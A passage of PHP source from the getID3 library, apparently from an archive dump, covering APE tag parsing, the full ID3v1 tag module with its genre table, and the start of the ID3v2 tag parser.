prevent path-exposing attacks that access modules directly on public webservers exit; } class getid3_apetag extends getid3_handler { /** * true: return full data for all attachments; * false: return no data for all attachments; * integer: return data for attachments <= than this; * string: save as file to this directory. * * @var int|bool|string */ public $inline_attachments = true; public $overrideendoffset = 0; /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; if (!getid3_lib::intValueSupported($info['filesize'])) { $this->warning('Unable to check for APEtags because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB'); return false; } $id3v1tagsize = 128; $apetagheadersize = 32; $lyrics3tagsize = 10; if ($this->overrideendoffset == 0) { $this->fseek(0 - $id3v1tagsize - $apetagheadersize - $lyrics3tagsize, SEEK_END); $APEfooterID3v1 = $this->fread($id3v1tagsize + $apetagheadersize + $lyrics3tagsize); //if (preg_match('/APETAGEX.{24}TAG.{125}$/i', $APEfooterID3v1)) { if (substr($APEfooterID3v1, strlen($APEfooterID3v1) - $id3v1tagsize - $apetagheadersize, 8) == 'APETAGEX') { // APE tag found before ID3v1 $info['ape']['tag_offset_end'] = $info['filesize'] - $id3v1tagsize; //} elseif (preg_match('/APETAGEX.{24}$/i', $APEfooterID3v1)) { } elseif (substr($APEfooterID3v1, strlen($APEfooterID3v1) - $apetagheadersize, 8) == 'APETAGEX') { // APE tag found, no ID3v1 $info['ape']['tag_offset_end'] = $info['filesize']; } } else { $this->fseek($this->overrideendoffset - $apetagheadersize); if ($this->fread(8) == 'APETAGEX') { $info['ape']['tag_offset_end'] = $this->overrideendoffset; } } if (!isset($info['ape']['tag_offset_end'])) { // APE tag not found unset($info['ape']); return false; } // shortcut $thisfile_ape = &$info['ape']; $this->fseek($thisfile_ape['tag_offset_end'] - $apetagheadersize); $APEfooterData = $this->fread(32); if (!($thisfile_ape['footer'] = $this->parseAPEheaderFooter($APEfooterData))) { $this->error('Error parsing APE footer at offset '.$thisfile_ape['tag_offset_end']); return false; } if (isset($thisfile_ape['footer']['flags']['header']) && $thisfile_ape['footer']['flags']['header']) { $this->fseek($thisfile_ape['tag_offset_end'] - $thisfile_ape['footer']['raw']['tagsize'] - $apetagheadersize); $thisfile_ape['tag_offset_start'] = $this->ftell(); $APEtagData = $this->fread($thisfile_ape['footer']['raw']['tagsize'] + $apetagheadersize); } else { $thisfile_ape['tag_offset_start'] = $thisfile_ape['tag_offset_end'] - $thisfile_ape['footer']['raw']['tagsize']; $this->fseek($thisfile_ape['tag_offset_start']); $APEtagData = $this->fread($thisfile_ape['footer']['raw']['tagsize']); } $info['avdataend'] = $thisfile_ape['tag_offset_start']; if (isset($info['id3v1']['tag_offset_start']) && ($info['id3v1']['tag_offset_start'] < $thisfile_ape['tag_offset_end'])) { $this->warning('ID3v1 tag information ignored since it appears to be a false synch in APEtag data'); unset($info['id3v1']); foreach ($info['warning'] as $key => $value) { if ($value == 'Some ID3v1 fields do not use NULL characters for padding') { unset($info['warning'][$key]); sort($info['warning']); break; } } } $offset = 0; if (isset($thisfile_ape['footer']['flags']['header']) && $thisfile_ape['footer']['flags']['header']) { if ($thisfile_ape['header'] = $this->parseAPEheaderFooter(substr($APEtagData, 0, $apetagheadersize))) { $offset += $apetagheadersize; } else { $this->error('Error parsing APE header at offset '.$thisfile_ape['tag_offset_start']); return false; } } // shortcut $info['replay_gain'] = array(); $thisfile_replaygain = &$info['replay_gain']; for ($i = 0; $i < $thisfile_ape['footer']['raw']['tag_items']; $i++) { $value_size = getid3_lib::LittleEndian2Int(substr($APEtagData, $offset, 4)); $offset += 4; $item_flags = getid3_lib::LittleEndian2Int(substr($APEtagData, $offset, 4)); $offset += 4; if (strstr(substr($APEtagData, $offset), "\x00") === false) { $this->error('Cannot find null-byte (0x00) separator between ItemKey #'.$i.' and value. ItemKey starts '.$offset.' bytes into the APE tag, at file offset '.($thisfile_ape['tag_offset_start'] + $offset)); return false; } $ItemKeyLength = strpos($APEtagData, "\x00", $offset) - $offset; $item_key = strtolower(substr($APEtagData, $offset, $ItemKeyLength)); // shortcut $thisfile_ape['items'][$item_key] = array(); $thisfile_ape_items_current = &$thisfile_ape['items'][$item_key]; $thisfile_ape_items_current['offset'] = $thisfile_ape['tag_offset_start'] + $offset; $offset += ($ItemKeyLength + 1); // skip 0x00 terminator $thisfile_ape_items_current['data'] = substr($APEtagData, $offset, $value_size); $offset += $value_size; $thisfile_ape_items_current['flags'] = $this->parseAPEtagFlags($item_flags); switch ($thisfile_ape_items_current['flags']['item_contents_raw']) { case 0: // UTF-8 case 2: // Locator (URL, filename, etc), UTF-8 encoded $thisfile_ape_items_current['data'] = explode("\x00", $thisfile_ape_items_current['data']); break; case 1: // binary data default: break; } switch (strtolower($item_key)) { // http://wiki.hydrogenaud.io/index.php?title=ReplayGain#MP3Gain case 'replaygain_track_gain': if (preg_match('#^([\\-\\+][0-9\\.,]{8})( dB)?$#', $thisfile_ape_items_current['data'][0], $matches)) { $thisfile_replaygain['track']['adjustment'] = (float) str_replace(',', '.', $matches[1]); // float casting will see "0,95" as zero! $thisfile_replaygain['track']['originator'] = 'unspecified'; } else { $this->warning('MP3gainTrackGain value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"'); } break; case 'replaygain_track_peak': if (preg_match('#^([0-9\\.,]{8})$#', $thisfile_ape_items_current['data'][0], $matches)) { $thisfile_replaygain['track']['peak'] = (float) str_replace(',', '.', $matches[1]); // float casting will see "0,95" as zero! $thisfile_replaygain['track']['originator'] = 'unspecified'; if ($thisfile_replaygain['track']['peak'] <= 0) { $this->warning('ReplayGain Track peak from APEtag appears invalid: '.$thisfile_replaygain['track']['peak'].' (original value = "'.$thisfile_ape_items_current['data'][0].'")'); } } else { $this->warning('MP3gainTrackPeak value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"'); } break; case 'replaygain_album_gain': if (preg_match('#^([\\-\\+][0-9\\.,]{8})( dB)?$#', $thisfile_ape_items_current['data'][0], $matches)) { $thisfile_replaygain['album']['adjustment'] = (float) str_replace(',', '.', $matches[1]); // float casting will see "0,95" as zero! $thisfile_replaygain['album']['originator'] = 'unspecified'; } else { $this->warning('MP3gainAlbumGain value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"'); } break; case 'replaygain_album_peak': if (preg_match('#^([0-9\\.,]{8})$#', $thisfile_ape_items_current['data'][0], $matches)) { $thisfile_replaygain['album']['peak'] = (float) str_replace(',', '.', $matches[1]); // float casting will see "0,95" as zero! $thisfile_replaygain['album']['originator'] = 'unspecified'; if ($thisfile_replaygain['album']['peak'] <= 0) { $this->warning('ReplayGain Album peak from APEtag appears invalid: '.$thisfile_replaygain['album']['peak'].' (original value = "'.$thisfile_ape_items_current['data'][0].'")'); } } else { $this->warning('MP3gainAlbumPeak value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"'); } break; case 'mp3gain_undo': if (preg_match('#^[\\-\\+][0-9]{3},[\\-\\+][0-9]{3},[NW]$#', $thisfile_ape_items_current['data'][0])) { list($mp3gain_undo_left, $mp3gain_undo_right, $mp3gain_undo_wrap) = explode(',', $thisfile_ape_items_current['data'][0]); $thisfile_replaygain['mp3gain']['undo_left'] = intval($mp3gain_undo_left); $thisfile_replaygain['mp3gain']['undo_right'] = intval($mp3gain_undo_right); $thisfile_replaygain['mp3gain']['undo_wrap'] = (($mp3gain_undo_wrap == 'Y') ? true : false); } else { $this->warning('MP3gainUndo value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"'); } break; case 'mp3gain_minmax': if (preg_match('#^[0-9]{3},[0-9]{3}$#', $thisfile_ape_items_current['data'][0])) { list($mp3gain_globalgain_min, $mp3gain_globalgain_max) = explode(',', $thisfile_ape_items_current['data'][0]); $thisfile_replaygain['mp3gain']['globalgain_track_min'] = intval($mp3gain_globalgain_min); $thisfile_replaygain['mp3gain']['globalgain_track_max'] = intval($mp3gain_globalgain_max); } else { $this->warning('MP3gainMinMax value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"'); } break; case 'mp3gain_album_minmax': if (preg_match('#^[0-9]{3},[0-9]{3}$#', $thisfile_ape_items_current['data'][0])) { list($mp3gain_globalgain_album_min, $mp3gain_globalgain_album_max) = explode(',', $thisfile_ape_items_current['data'][0]); $thisfile_replaygain['mp3gain']['globalgain_album_min'] = intval($mp3gain_globalgain_album_min); $thisfile_replaygain['mp3gain']['globalgain_album_max'] = intval($mp3gain_globalgain_album_max); } else { $this->warning('MP3gainAlbumMinMax value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"'); } break; case 'tracknumber': if (is_array($thisfile_ape_items_current['data'])) { foreach ($thisfile_ape_items_current['data'] as $comment) { $thisfile_ape['comments']['track_number'][] = $comment; } } break; case 'cover art (artist)': case 'cover art (back)': case 'cover art (band logo)': case 'cover art (band)': case 'cover art (colored fish)': case 'cover art (composer)': case 'cover art (conductor)': case 'cover art (front)': case 'cover art (icon)': case 'cover art (illustration)': case 'cover art (lead)': case 'cover art (leaflet)': case 'cover art (lyricist)': case 'cover art (media)': case 'cover art (movie scene)': case 'cover art (other icon)': case 'cover art (other)': case 'cover art (performance)': case 'cover art (publisher logo)': case 'cover art (recording)': case 'cover art (studio)': // list of possible cover arts from http://taglib-sharp.sourcearchive.com/documentation/2.0.3.0-2/Ape_2Tag_8cs-source.html if (is_array($thisfile_ape_items_current['data'])) { $this->warning('APEtag "'.$item_key.'" should be flagged as Binary data, but was incorrectly flagged as UTF-8'); $thisfile_ape_items_current['data'] = implode("\x00", $thisfile_ape_items_current['data']); } list($thisfile_ape_items_current['filename'], $thisfile_ape_items_current['data']) = explode("\x00", $thisfile_ape_items_current['data'], 2); $thisfile_ape_items_current['data_offset'] = $thisfile_ape_items_current['offset'] + strlen($thisfile_ape_items_current['filename']."\x00"); $thisfile_ape_items_current['data_length'] = strlen($thisfile_ape_items_current['data']); do { $thisfile_ape_items_current['image_mime'] = ''; $imageinfo = array(); $imagechunkcheck = getid3_lib::GetDataImageSize($thisfile_ape_items_current['data'], $imageinfo); if (($imagechunkcheck === false) || !isset($imagechunkcheck[2])) { $this->warning('APEtag "'.$item_key.'" contains invalid image data'); break; } $thisfile_ape_items_current['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]); if ($this->inline_attachments === false) { // skip entirely unset($thisfile_ape_items_current['data']); break; } if ($this->inline_attachments === true) { // great } elseif (is_int($this->inline_attachments)) { if ($this->inline_attachments < $thisfile_ape_items_current['data_length']) { // too big, skip $this->warning('attachment at '.$thisfile_ape_items_current['offset'].' is too large to process inline ('.number_format($thisfile_ape_items_current['data_length']).' bytes)'); unset($thisfile_ape_items_current['data']); break; } } elseif (is_string($this->inline_attachments)) { $this->inline_attachments = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->inline_attachments), DIRECTORY_SEPARATOR); if (!is_dir($this->inline_attachments) || !getID3::is_writable($this->inline_attachments)) { // cannot write, skip $this->warning('attachment at '.$thisfile_ape_items_current['offset'].' cannot be saved to "'.$this->inline_attachments.'" (not writable)'); unset($thisfile_ape_items_current['data']); break; } } // if we get this far, must be OK if (is_string($this->inline_attachments)) { $destination_filename = $this->inline_attachments.DIRECTORY_SEPARATOR.md5($info['filenamepath']).'_'.$thisfile_ape_items_current['data_offset']; if (!file_exists($destination_filename) || getID3::is_writable($destination_filename)) { file_put_contents($destination_filename, $thisfile_ape_items_current['data']); } else { $this->warning('attachment at '.$thisfile_ape_items_current['offset'].' cannot be saved to "'.$destination_filename.'" (not writable)'); } $thisfile_ape_items_current['data_filename'] = $destination_filename; unset($thisfile_ape_items_current['data']); } else { if (!isset($info['ape']['comments']['picture'])) { $info['ape']['comments']['picture'] = array(); } $comments_picture_data = array(); foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) { if (isset($thisfile_ape_items_current[$picture_key])) { $comments_picture_data[$picture_key] = $thisfile_ape_items_current[$picture_key]; } } $info['ape']['comments']['picture'][] = $comments_picture_data; unset($comments_picture_data); } } while (false); break; default: if (is_array($thisfile_ape_items_current['data'])) { foreach ($thisfile_ape_items_current['data'] as $comment) { $thisfile_ape['comments'][strtolower($item_key)][] = $comment; } } break; } } if (empty($thisfile_replaygain)) { unset($info['replay_gain']); } return true; } /** * @param string $APEheaderFooterData * * @return array|false */ public function parseAPEheaderFooter($APEheaderFooterData) { // http://www.uni-jena.de/~pfk/mpp/sv8/apeheader.html // shortcut $headerfooterinfo['raw'] = array(); $headerfooterinfo_raw = &$headerfooterinfo['raw']; $headerfooterinfo_raw['footer_tag'] = substr($APEheaderFooterData, 0, 8); if ($headerfooterinfo_raw['footer_tag'] != 'APETAGEX') { return false; } $headerfooterinfo_raw['version'] = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 8, 4)); $headerfooterinfo_raw['tagsize'] = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 12, 4)); $headerfooterinfo_raw['tag_items'] = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 16, 4)); $headerfooterinfo_raw['global_flags'] = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 20, 4)); $headerfooterinfo_raw['reserved'] = substr($APEheaderFooterData, 24, 8); $headerfooterinfo['tag_version'] = $headerfooterinfo_raw['version'] / 1000; if ($headerfooterinfo['tag_version'] >= 2) { $headerfooterinfo['flags'] = $this->parseAPEtagFlags($headerfooterinfo_raw['global_flags']); } return $headerfooterinfo; } /** * @param int $rawflagint * * @return array */ public function parseAPEtagFlags($rawflagint) { // "Note: APE Tags 1.0 do not use any of the APE Tag flags. // All are set to zero on creation and ignored on reading." // http://wiki.hydrogenaud.io/index.php?title=Ape_Tags_Flags $flags['header'] = (bool) ($rawflagint & 0x80000000); $flags['footer'] = (bool) ($rawflagint & 0x40000000); $flags['this_is_header'] = (bool) ($rawflagint & 0x20000000); $flags['item_contents_raw'] = ($rawflagint & 0x00000006) >> 1; $flags['read_only'] = (bool) ($rawflagint & 0x00000001); $flags['item_contents'] = $this->APEcontentTypeFlagLookup($flags['item_contents_raw']); return $flags; } /** * @param int $contenttypeid * * @return string */ public function APEcontentTypeFlagLookup($contenttypeid) { static $APEcontentTypeFlagLookup = array( 0 => 'utf-8', 1 => 'binary', 2 => 'external', 3 => 'reserved' ); return (isset($APEcontentTypeFlagLookup[$contenttypeid]) ? $APEcontentTypeFlagLookup[$contenttypeid] : 'invalid'); } /** * @param string $itemkey * * @return bool */ public function APEtagItemIsUTF8Lookup($itemkey) { static $APEtagItemIsUTF8Lookup = array( 'title', 'subtitle', 'artist', 'album', 'debut album', 'publisher', 'conductor', 'track', 'composer', 'comment', 'copyright', 'publicationright', 'file', 'year', 'record date', 'record location', 'genre', 'media', 'related', 'isrc', 'abstract', 'language', 'bibliography' ); return in_array(strtolower($itemkey), $APEtagItemIsUTF8Lookup); } } ID3/module.tag.id3v1.php000064400000033132151202620270010617 0ustar00 // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.tag.id3v1.php // // module for analyzing ID3v1 tags // // dependencies: NONE // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } class getid3_id3v1 extends getid3_handler { /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; if (!getid3_lib::intValueSupported($info['filesize'])) { $this->warning('Unable to check for ID3v1 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB'); return false; } $this->fseek(-256, SEEK_END); $preid3v1 = $this->fread(128); $id3v1tag = $this->fread(128); if (substr($id3v1tag, 0, 3) == 'TAG') { $info['avdataend'] = $info['filesize'] - 128; $ParsedID3v1['title'] = $this->cutfield(substr($id3v1tag, 3, 30)); $ParsedID3v1['artist'] = $this->cutfield(substr($id3v1tag, 33, 30)); $ParsedID3v1['album'] = $this->cutfield(substr($id3v1tag, 63, 30)); $ParsedID3v1['year'] = $this->cutfield(substr($id3v1tag, 93, 4)); $ParsedID3v1['comment'] = substr($id3v1tag, 97, 30); // can't remove nulls yet, track detection depends on them $ParsedID3v1['genreid'] = ord(substr($id3v1tag, 127, 1)); // If second-last byte of comment field is null and last byte of comment field is non-null // then this is ID3v1.1 and the comment field is 28 bytes long and the 30th byte is the track number if (($id3v1tag[125] === "\x00") && ($id3v1tag[126] !== "\x00")) { $ParsedID3v1['track_number'] = ord(substr($ParsedID3v1['comment'], 29, 1)); $ParsedID3v1['comment'] = substr($ParsedID3v1['comment'], 0, 28); } $ParsedID3v1['comment'] = $this->cutfield($ParsedID3v1['comment']); $ParsedID3v1['genre'] = $this->LookupGenreName($ParsedID3v1['genreid']); if (!empty($ParsedID3v1['genre'])) { unset($ParsedID3v1['genreid']); } if (isset($ParsedID3v1['genre']) && (empty($ParsedID3v1['genre']) || ($ParsedID3v1['genre'] == 'Unknown'))) { unset($ParsedID3v1['genre']); } foreach ($ParsedID3v1 as $key => $value) { $ParsedID3v1['comments'][$key][0] = $value; } $ID3v1encoding = $this->getid3->encoding_id3v1; if ($this->getid3->encoding_id3v1_autodetect) { // ID3v1 encoding detection hack START // ID3v1 is defined as always using ISO-8859-1 encoding, but it is not uncommon to find files tagged with ID3v1 using Windows-1251 or other character sets // Since ID3v1 has no concept of character sets there is no certain way to know we have the correct non-ISO-8859-1 character set, but we can guess foreach ($ParsedID3v1['comments'] as $tag_key => $valuearray) { foreach ($valuearray as $key => $value) { if (preg_match('#^[\\x00-\\x40\\x80-\\xFF]+$#', $value) && !ctype_digit((string) $value)) { // check for strings with only characters above chr(128) and punctuation/numbers, but not just numeric strings (e.g. track numbers or years) foreach (array('Windows-1251', 'KOI8-R') as $id3v1_bad_encoding) { if (function_exists('mb_convert_encoding') && @mb_convert_encoding($value, $id3v1_bad_encoding, $id3v1_bad_encoding) === $value) { $ID3v1encoding = $id3v1_bad_encoding; $this->warning('ID3v1 detected as '.$id3v1_bad_encoding.' text encoding in '.$tag_key); break 3; } elseif (function_exists('iconv') && @iconv($id3v1_bad_encoding, $id3v1_bad_encoding, $value) === $value) { $ID3v1encoding = $id3v1_bad_encoding; $this->warning('ID3v1 detected as '.$id3v1_bad_encoding.' text encoding in '.$tag_key); break 3; } } } } } // ID3v1 encoding detection hack END } // ID3v1 data is supposed to be padded with NULL characters, but some taggers pad with spaces $GoodFormatID3v1tag = $this->GenerateID3v1Tag( $ParsedID3v1['title'], $ParsedID3v1['artist'], $ParsedID3v1['album'], $ParsedID3v1['year'], (isset($ParsedID3v1['genre']) ? $this->LookupGenreID($ParsedID3v1['genre']) : false), $ParsedID3v1['comment'], (!empty($ParsedID3v1['track_number']) ? $ParsedID3v1['track_number'] : '')); $ParsedID3v1['padding_valid'] = true; if ($id3v1tag !== $GoodFormatID3v1tag) { $ParsedID3v1['padding_valid'] = false; $this->warning('Some ID3v1 fields do not use NULL characters for padding'); } $ParsedID3v1['tag_offset_end'] = $info['filesize']; $ParsedID3v1['tag_offset_start'] = $ParsedID3v1['tag_offset_end'] - 128; $info['id3v1'] = $ParsedID3v1; $info['id3v1']['encoding'] = $ID3v1encoding; } if (substr($preid3v1, 0, 3) == 'TAG') { // The way iTunes handles tags is, well, brain-damaged. // It completely ignores v1 if ID3v2 is present. // This goes as far as adding a new v1 tag *even if there already is one* // A suspected double-ID3v1 tag has been detected, but it could be that // the "TAG" identifier is a legitimate part of an APE or Lyrics3 tag if (substr($preid3v1, 96, 8) == 'APETAGEX') { // an APE tag footer was found before the last ID3v1, assume false "TAG" synch } elseif (substr($preid3v1, 119, 6) == 'LYRICS') { // a Lyrics3 tag footer was found before the last ID3v1, assume false "TAG" synch } else { // APE and Lyrics3 footers not found - assume double ID3v1 $this->warning('Duplicate ID3v1 tag detected - this has been known to happen with iTunes'); $info['avdataend'] -= 128; } } return true; } /** * @param string $str * * @return string */ public static function cutfield($str) { return trim(substr($str, 0, strcspn($str, "\x00"))); } /** * @param bool $allowSCMPXextended * * @return string[] */ public static function ArrayOfGenres($allowSCMPXextended=false) { static $GenreLookup = array( 0 => 'Blues', 1 => 'Classic Rock', 2 => 'Country', 3 => 'Dance', 4 => 'Disco', 5 => 'Funk', 6 => 'Grunge', 7 => 'Hip-Hop', 8 => 'Jazz', 9 => 'Metal', 10 => 'New Age', 11 => 'Oldies', 12 => 'Other', 13 => 'Pop', 14 => 'R&B', 15 => 'Rap', 16 => 'Reggae', 17 => 'Rock', 18 => 'Techno', 19 => 'Industrial', 20 => 'Alternative', 21 => 'Ska', 22 => 'Death Metal', 23 => 'Pranks', 24 => 'Soundtrack', 25 => 'Euro-Techno', 26 => 'Ambient', 27 => 'Trip-Hop', 28 => 'Vocal', 29 => 'Jazz+Funk', 30 => 'Fusion', 31 => 'Trance', 32 => 'Classical', 33 => 'Instrumental', 34 => 'Acid', 35 => 'House', 36 => 'Game', 37 => 'Sound Clip', 38 => 'Gospel', 39 => 'Noise', 40 => 'Alt. Rock', 41 => 'Bass', 42 => 'Soul', 43 => 'Punk', 44 => 'Space', 45 => 'Meditative', 46 => 'Instrumental Pop', 47 => 'Instrumental Rock', 48 => 'Ethnic', 49 => 'Gothic', 50 => 'Darkwave', 51 => 'Techno-Industrial', 52 => 'Electronic', 53 => 'Pop-Folk', 54 => 'Eurodance', 55 => 'Dream', 56 => 'Southern Rock', 57 => 'Comedy', 58 => 'Cult', 59 => 'Gangsta Rap', 60 => 'Top 40', 61 => 'Christian Rap', 62 => 'Pop/Funk', 63 => 'Jungle', 64 => 'Native American', 65 => 'Cabaret', 66 => 'New Wave', 67 => 'Psychedelic', 68 => 'Rave', 69 => 'Showtunes', 70 => 'Trailer', 71 => 'Lo-Fi', 72 => 'Tribal', 73 => 'Acid Punk', 74 => 'Acid Jazz', 75 => 'Polka', 76 => 'Retro', 77 => 'Musical', 78 => 'Rock & Roll', 79 => 'Hard Rock', 80 => 'Folk', 81 => 'Folk/Rock', 82 => 'National Folk', 83 => 'Swing', 84 => 'Fast-Fusion', 85 => 'Bebob', 86 => 'Latin', 87 => 'Revival', 88 => 'Celtic', 89 => 'Bluegrass', 90 => 'Avantgarde', 91 => 'Gothic Rock', 92 => 'Progressive Rock', 93 => 'Psychedelic Rock', 94 => 'Symphonic Rock', 95 => 'Slow Rock', 96 => 'Big Band', 97 => 'Chorus', 98 => 'Easy Listening', 99 => 'Acoustic', 100 => 'Humour', 101 => 'Speech', 102 => 'Chanson', 103 => 'Opera', 104 => 'Chamber Music', 105 => 'Sonata', 106 => 'Symphony', 107 => 'Booty Bass', 108 => 'Primus', 109 => 'Porn Groove', 110 => 'Satire', 111 => 'Slow Jam', 112 => 'Club', 113 => 'Tango', 114 => 'Samba', 115 => 'Folklore', 116 => 'Ballad', 117 => 'Power Ballad', 118 => 'Rhythmic Soul', 119 => 'Freestyle', 120 => 'Duet', 121 => 'Punk Rock', 122 => 'Drum Solo', 123 => 'A Cappella', 124 => 'Euro-House', 125 => 'Dance Hall', 126 => 'Goa', 127 => 'Drum & Bass', 128 => 'Club-House', 129 => 'Hardcore', 130 => 'Terror', 131 => 'Indie', 132 => 'BritPop', 133 => 'Negerpunk', 134 => 'Polsk Punk', 135 => 'Beat', 136 => 'Christian Gangsta Rap', 137 => 'Heavy Metal', 138 => 'Black Metal', 139 => 'Crossover', 140 => 'Contemporary Christian', 141 => 'Christian Rock', 142 => 'Merengue', 143 => 'Salsa', 144 => 'Thrash Metal', 145 => 'Anime', 146 => 'JPop', 147 => 'Synthpop', 255 => 'Unknown', 'CR' => 'Cover', 'RX' => 'Remix' ); static $GenreLookupSCMPX = array(); if ($allowSCMPXextended && empty($GenreLookupSCMPX)) { $GenreLookupSCMPX = $GenreLookup; // http://www.geocities.co.jp/SiliconValley-Oakland/3664/alittle.html#GenreExtended // Extended ID3v1 genres invented by SCMPX // Note that 255 "Japanese Anime" conflicts with standard "Unknown" $GenreLookupSCMPX[240] = 'Sacred'; $GenreLookupSCMPX[241] = 'Northern Europe'; $GenreLookupSCMPX[242] = 'Irish & Scottish'; $GenreLookupSCMPX[243] = 'Scotland'; $GenreLookupSCMPX[244] = 'Ethnic Europe'; $GenreLookupSCMPX[245] = 'Enka'; $GenreLookupSCMPX[246] = 'Children\'s Song'; $GenreLookupSCMPX[247] = 'Japanese Sky'; $GenreLookupSCMPX[248] = 'Japanese Heavy Rock'; $GenreLookupSCMPX[249] = 'Japanese Doom Rock'; $GenreLookupSCMPX[250] = 'Japanese J-POP'; $GenreLookupSCMPX[251] = 'Japanese Seiyu'; $GenreLookupSCMPX[252] = 'Japanese Ambient Techno'; $GenreLookupSCMPX[253] = 'Japanese Moemoe'; $GenreLookupSCMPX[254] = 'Japanese Tokusatsu'; //$GenreLookupSCMPX[255] = 'Japanese Anime'; } return ($allowSCMPXextended ? $GenreLookupSCMPX : $GenreLookup); } /** * @param string $genreid * @param bool $allowSCMPXextended * * @return string|false */ public static function LookupGenreName($genreid, $allowSCMPXextended=true) { switch ($genreid) { case 'RX': case 'CR': break; default: if (!is_numeric($genreid)) { return false; } $genreid = intval($genreid); // to handle 3 or '3' or '03' break; } $GenreLookup = self::ArrayOfGenres($allowSCMPXextended); return (isset($GenreLookup[$genreid]) ? $GenreLookup[$genreid] : false); } /** * @param string $genre * @param bool $allowSCMPXextended * * @return string|false */ public static function LookupGenreID($genre, $allowSCMPXextended=false) { $GenreLookup = self::ArrayOfGenres($allowSCMPXextended); $LowerCaseNoSpaceSearchTerm = strtolower(str_replace(' ', '', $genre)); foreach ($GenreLookup as $key => $value) { if (strtolower(str_replace(' ', '', $value)) == $LowerCaseNoSpaceSearchTerm) { return $key; } } return false; } /** * @param string $OriginalGenre * * @return string|false */ public static function StandardiseID3v1GenreName($OriginalGenre) { if (($GenreID = self::LookupGenreID($OriginalGenre)) !== false) { return self::LookupGenreName($GenreID); } return $OriginalGenre; } /** * @param string $title * @param string $artist * @param string $album * @param string $year * @param int $genreid * @param string $comment * @param int|string $track * * @return string */ public static function GenerateID3v1Tag($title, $artist, $album, $year, $genreid, $comment, $track='') { $ID3v1Tag = 'TAG'; $ID3v1Tag .= str_pad(trim(substr($title, 0, 30)), 30, "\x00", STR_PAD_RIGHT); $ID3v1Tag .= str_pad(trim(substr($artist, 0, 30)), 30, "\x00", STR_PAD_RIGHT); $ID3v1Tag .= str_pad(trim(substr($album, 0, 30)), 30, "\x00", STR_PAD_RIGHT); $ID3v1Tag .= str_pad(trim(substr($year, 0, 4)), 4, "\x00", STR_PAD_LEFT); if (!empty($track) && ($track > 0) && ($track <= 255)) { $ID3v1Tag .= str_pad(trim(substr($comment, 0, 28)), 28, "\x00", STR_PAD_RIGHT); $ID3v1Tag .= "\x00"; if (gettype($track) == 'string') { $track = (int) $track; } $ID3v1Tag .= chr($track); } else { $ID3v1Tag .= str_pad(trim(substr($comment, 0, 30)), 30, "\x00", STR_PAD_RIGHT); } if (($genreid < 0) || ($genreid > 147)) { $genreid = 255; // 'unknown' genre } switch (gettype($genreid)) { case 'string': case 'integer': $ID3v1Tag .= chr(intval($genreid)); break; default: $ID3v1Tag .= chr(255); // 'unknown' genre break; } return $ID3v1Tag; } } ID3/module.tag.id3v2.php000064400000456341151202620270010633 0ustar00 // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// /// // // module.tag.id3v2.php // // module for analyzing ID3v2 tags // // dependencies: module.tag.id3v1.php // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v1.php', __FILE__, true); class getid3_id3v2 extends getid3_handler { public $StartingOffset = 0; /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; // Overall tag structure: // +-----------------------------+ // | Header (10 bytes) | // +-----------------------------+ // | Extended Header | // | (variable length, OPTIONAL) | // +-----------------------------+ // | Frames (variable length) | // +-----------------------------+ // | Padding | // | (variable length, OPTIONAL) | // +-----------------------------+ // | Footer (10 bytes, OPTIONAL) | // +-----------------------------+ // Header // ID3v2/file identifier "ID3" // ID3v2 version $04 00 // ID3v2 flags (%ab000000 in v2.2, %abc00000 in v2.3, %abcd0000 in v2.4.x) // ID3v2 size 4 * %0xxxxxxx // shortcuts $info['id3v2']['header'] = true; $thisfile_id3v2 = &$info['id3v2']; $thisfile_id3v2['flags'] = array(); $thisfile_id3v2_flags = &$thisfile_id3v2['flags']; $this->fseek($this->StartingOffset); $header = $this->fread(10); if (substr($header, 0, 3) == 'ID3' && strlen($header) == 10) { $thisfile_id3v2['majorversion'] = ord($header[3]); $thisfile_id3v2['minorversion'] = ord($header[4]); // shortcut $id3v2_majorversion = &$thisfile_id3v2['majorversion']; } else { unset($info['id3v2']); return false; } if ($id3v2_majorversion > 4) { // this script probably won't correctly parse ID3v2.5.x and above (if it ever exists) $this->error('this script only parses up to ID3v2.4.x - this tag is ID3v2.'.$id3v2_majorversion.'.'.$thisfile_id3v2['minorversion']); return false; } $id3_flags = ord($header[5]); switch ($id3v2_majorversion) { case 2: // %ab000000 in v2.2 $thisfile_id3v2_flags['unsynch'] = (bool) ($id3_flags & 0x80); // a - Unsynchronisation $thisfile_id3v2_flags['compression'] = (bool) ($id3_flags & 0x40); // b - Compression break; case 3: // %abc00000 in v2.3 $thisfile_id3v2_flags['unsynch'] = (bool) ($id3_flags & 0x80); // a - Unsynchronisation $thisfile_id3v2_flags['exthead'] = (bool) ($id3_flags & 0x40); // b - Extended header $thisfile_id3v2_flags['experim'] = (bool) ($id3_flags & 0x20); // c - Experimental indicator break; case 4: // %abcd0000 in v2.4 